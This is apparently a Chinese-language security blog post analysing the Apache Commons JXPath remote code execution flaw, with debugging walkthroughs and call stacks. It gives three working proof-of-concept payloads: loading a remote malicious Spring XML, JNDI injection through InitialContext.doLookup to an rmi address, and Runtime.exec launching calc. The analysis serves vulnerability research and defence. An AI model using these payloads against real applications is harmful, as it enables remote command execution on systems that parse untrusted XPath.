前几天有漏洞通告说Apache官方的 Commons JXPath组件如果接收不可信的XPath表达式将会导致命令执行的危害
在官方的通报中,所有的用来解析传入的XPath字符串,都将会导致RCE的危害(除了compile
/ compilePath
这两个方法)
我们直接使用官方通报的JXPathContext
进行利用构造
这里的利用点就是在官方文档中的Extension Functions
(扩展功能),能够接收不仅仅是XPath语法的字符串,还能够与Java本身进行连接
官方给出了三个例子
1.通过调用对象的new创建一个对象
2.能够调用静态方法
3.或者是调用普通方法的方法(类似于invoke的用法??)
对于这种方式的利用,我们最熟悉且常用的就是Spring环境下的ClassPathXmlApplicationContext
类来加载远程恶意XML导致RCE
写个demo
public static void main(String[] args) { try { JXPathContext context = JXPathContext.newContext(null); context.getValue("org.springframework.context.support.ClassPathXmlApplicationContext.new(\"http://127.0.0.1:9000/spring-Evil.xml\")"); } catch (Exception e) { e.printStackTrace(); } }
按照平时的用法,我们并没有这个.new
,这里是根据JXPath
官方文档给的demo进行仿造的
我们将会进行调试分析其中的执行过程
在调用JXPathContextReferenceImpl#getValue
方法过程中,将会调用compileExpression
对传入的xpath进行编译
跟进该方法
前面还没有编译,取出的Expression
对象为null
,将会调用Parser.parseExpression
方法进行编译
首先将会向XPathParser
对象设置TreeCompiler
这个编译器,调用其ReInit
方法进行XPath字符串的初始化
之后调用parseExpression
方法进行编译,最后将得到的Expression
对象返回
最后回到了JXPathContextReferenceImpl#compileExpression
方法中,将其添加进入了compiled
属性中
最后回到getValue
方法中,将会调用ExtensionFunction#computeValue
方法进行处理
![E[]D)AHK0PB(FOX05MZGY1.png
在第一个if
语句中主要是将args
属性中的值利用convert
方法转换为parameters
,也就是类的参数
之后会调用RootContext#getFunction
方法获取对应的Function
可以一路追踪到PackageFunctions#getFunction
方法
首先获取parameters
中的target目标,之后通过调用MethodLookupUtils#lookupMethod
方法来加载对应的方法
首先会对传入的参数进行匹配,如果没有匹配成功及直接返回一个Null值
在这个方法的后面,尝试提取对应的方法
这里的targetClass
是java.lang.String
,是不存在该方法的,接着后面的逻辑同样没得找到这个方法,所以返回的method为null值
之后回到PackageFunctions#getFunction
方法中继续调用lookupMethod
进行获取,同样没有获取到method方法
最后来到了这里,根据最后的一个.
作为分割,分别得到了className
/ methodName
两个字符串,且在后面调用了Class.forName(className)
从classpath中获取类,这样当然能够获取到ClassPathXmlApplicationContext
类
之后将会判断取得的methodName
是否是new
这个关键词
如果能够匹配,将会调用MethodLookupUtils#lookupConstructor
方法来获取对应的构造方法
首先是获取了参数类型
之后通过调用getConstructor
方法获取对应targetClass
的构造方法
最后在getFunction
方法中通过获取的构造方法封装成了ConstructorFunction
类进行了返回
接下来回到了computeValue
方法中的逻辑,调用了返回的ConstructorFunction#invoke
方法进行触发
最后将会对这个构造方法进行实例化操作,剩下的就是远程加载xml配置文件的RCE了
调用栈
start:1007, ProcessBuilder (java.lang) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) execute:139, ReflectiveMethodExecutor (org.springframework.expression.spel.support) getValueInternal:139, MethodReference (org.springframework.expression.spel.ast) access$000:55, MethodReference (org.springframework.expression.spel.ast) getValue:387, MethodReference$MethodValueRef (org.springframework.expression.spel.ast) getValueInternal:92, CompoundExpression (org.springframework.expression.spel.ast) getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast) getValue:272, SpelExpression (org.springframework.expression.spel.standard) evaluate:167, StandardBeanExpressionResolver (org.springframework.context.expression) evaluateBeanDefinitionString:1631, AbstractBeanFactory (org.springframework.beans.factory.support) doEvaluate:280, BeanDefinitionValueResolver (org.springframework.beans.factory.support) evaluate:237, BeanDefinitionValueResolver (org.springframework.beans.factory.support) resolveValueIfNecessary:205, BeanDefinitionValueResolver (org.springframework.beans.factory.support) applyPropertyValues:1707, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) populateBean:1452, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) doCreateBean:619, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) createBean:542, AbstractAutowireCapableBeanFactory (org.springframework.beans.factory.support) lambda$doGetBean$0:335, AbstractBeanFactory (org.springframework.beans.factory.support) getObject:-1, 1496220730 (org.springframework.beans.factory.support.AbstractBeanFactory$$Lambda$27) getSingleton:234, DefaultSingletonBeanRegistry (org.springframework.beans.factory.support) doGetBean:333, AbstractBeanFactory (org.springframework.beans.factory.support) getBean:208, AbstractBeanFactory (org.springframework.beans.factory.support) preInstantiateSingletons:953, DefaultListableBeanFactory (org.springframework.beans.factory.support) finishBeanFactoryInitialization:918, AbstractApplicationContext (org.springframework.context.support) refresh:583, AbstractApplicationContext (org.springframework.context.support) <init>:144, ClassPathXmlApplicationContext (org.springframework.context.support) <init>:85, ClassPathXmlApplicationContext (org.springframework.context.support) newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect) newInstance:62, NativeConstructorAccessorImpl (sun.reflect) newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect) newInstance:423, Constructor (java.lang.reflect) invoke:71, ConstructorFunction (org.apache.commons.jxpath.functions) computeValue:102, ExtensionFunction (org.apache.commons.jxpath.ri.compiler) getValue:353, JXPathContextReferenceImpl (org.apache.commons.jxpath.ri) getValue:313, JXPathContextReferenceImpl (org.apache.commons.jxpath.ri) main:9, Test (pers.apache)
对于这种demo的利用,我们可以关注到javax.naming.InitialContext#doLookup
方法
该方法是一个静态方法,符合第二个demo的要求,且这里可以造成JNDI注入
try { JXPathContext context = JXPathContext.newContext(null); context.getValue("javax.naming.InitialContext.doLookup('rmi://127.0.0.1:1099/1u560y')"); } catch (Exception e) { e.printStackTrace(); }
对于这种方法,大体上和上面的流程是一致的,但是在PackageFunctions#getFunction
方法中,之前在判断methodName
是否为new
,这里进入的是其中的else
语句
调用的是MethodLookupUtils#lookupStaticMethod
方法获取静态方法
该方法中会获取类中的方法,并判断该方法是否是静态方法,如果满足就会返回这个方法
最后将该方法封装了一个MethodFunction
对象并返回
和上面的类似,同样会调用invoke
方法进行调用
在MethodFunction#invoke
方法中
反射调用了该方法
之后就是JNDI的利用过程了
调用栈
start:1007, ProcessBuilder (java.lang) exec:620, Runtime (java.lang) exec:450, Runtime (java.lang) exec:347, Runtime (java.lang) invokeVirtual_LL_L:-1, 1356728614 (java.lang.invoke.LambdaForm$DMH) reinvoke:-1, 843710487 (java.lang.invoke.LambdaForm$BMH) exactInvoker:-1, 883455411 (java.lang.invoke.LambdaForm$MH) linkToCallSite:-1, 1195942137 (java.lang.invoke.LambdaForm$MH) :program:1, Script$\^eval\_ (jdk.nashorn.internal.scripts) invokeStatic_LL_L:-1, 1586845078 (java.lang.invoke.LambdaForm$DMH) invokeExact_MT:-1, 1365767549 (java.lang.invoke.LambdaForm$MH) invoke:637, ScriptFunctionData (jdk.nashorn.internal.runtime) invoke:494, ScriptFunction (jdk.nashorn.internal.runtime) apply:393, ScriptRuntime (jdk.nashorn.internal.runtime) evalImpl:449, NashornScriptEngine (jdk.nashorn.api.scripting) evalImpl:406, NashornScriptEngine (jdk.nashorn.api.scripting) evalImpl:402, NashornScriptEngine (jdk.nashorn.api.scripting) eval:155, NashornScriptEngine (jdk.nashorn.api.scripting) eval:264, AbstractScriptEngine (javax.script) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invoke:155, BeanELResolver (javax.el) invoke:79, CompositeELResolver (javax.el) getValue:158, AstValue (org.apache.el.parser) getValue:189, ValueExpressionImpl (org.apache.el) getValue:61, ELProcessor (javax.el) eval:54, ELProcessor (javax.el) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) getObjectInstance:210, BeanFactory (org.apache.naming.factory) getObjectInstance:321, NamingManager (javax.naming.spi) decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry) lookup:138, RegistryContext (com.sun.jndi.rmi.registry) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:417, InitialContext (javax.naming) doLookup:290, InitialContext (javax.naming) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invoke:93, MethodFunction (org.apache.commons.jxpath.functions) computeValue:102, ExtensionFunction (org.apache.commons.jxpath.ri.compiler) getValue:353, JXPathContextReferenceImpl (org.apache.commons.jxpath.ri) getValue:313, JXPathContextReferenceImpl (org.apache.commons.jxpath.ri) main:10, Test (pers.apache)
在官方给的第三个demo中能够成功调用普通的方法
这个就很直接了,那不是直接可以RCE了?
public static void main(String[] args) { try { JXPathContext context = JXPathContext.newContext(null); context.getValue("exec(java.lang.Runtime.getRuntime(), 'calc')"); } catch (Exception e) { e.printStackTrace(); } }
这个流程非常直接,就是在PackageFunctions#getFunction
方法中
将第一个传参进行了转换,得到的target
是Runtime类
之后在获取这个方法的时候
同样将得到的method封装成了MethodFunction
对象,之后在MethodFunction#invoke
方法中进行调用
调用栈
start:1007, ProcessBuilder (java.lang) exec:620, Runtime (java.lang) exec:450, Runtime (java.lang) exec:347, Runtime (java.lang) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invoke:93, MethodFunction (org.apache.commons.jxpath.functions) computeValue:102, ExtensionFunction (org.apache.commons.jxpath.ri.compiler) getValue:353, JXPathContextReferenceImpl (org.apache.commons.jxpath.ri) getValue:313, JXPathContextReferenceImpl (org.apache.commons.jxpath.ri) main:11, Test (pers.apache)